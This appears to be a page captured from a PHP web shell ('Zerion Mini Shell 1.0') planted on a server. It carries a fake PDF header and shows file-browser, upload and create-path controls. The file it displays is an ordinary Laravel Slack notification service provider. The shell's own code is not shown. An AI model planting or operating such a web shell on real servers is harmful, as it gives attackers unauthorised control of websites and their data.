%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/o91-api/vendor/laravel/slack-notification-channel/src/
Upload File :
Create Path :
Current File : /var/www/html/o91-api/vendor/laravel/slack-notification-channel/src/SlackChannelServiceProvider.php

<?php

namespace Illuminate\Notifications;

use GuzzleHttp\Client as HttpClient;
use Illuminate\Support\ServiceProvider;
use Illuminate\Support\Facades\Notification;

class SlackChannelServiceProvider extends ServiceProvider
{
    /**
     * Register the service provider.
     *
     * @return void
     */
    public function register()
    {
        Notification::extend('slack', function ($app) {
            return new Channels\SlackWebhookChannel(new HttpClient);
        });
    }
}

Zerion Mini Shell 1.0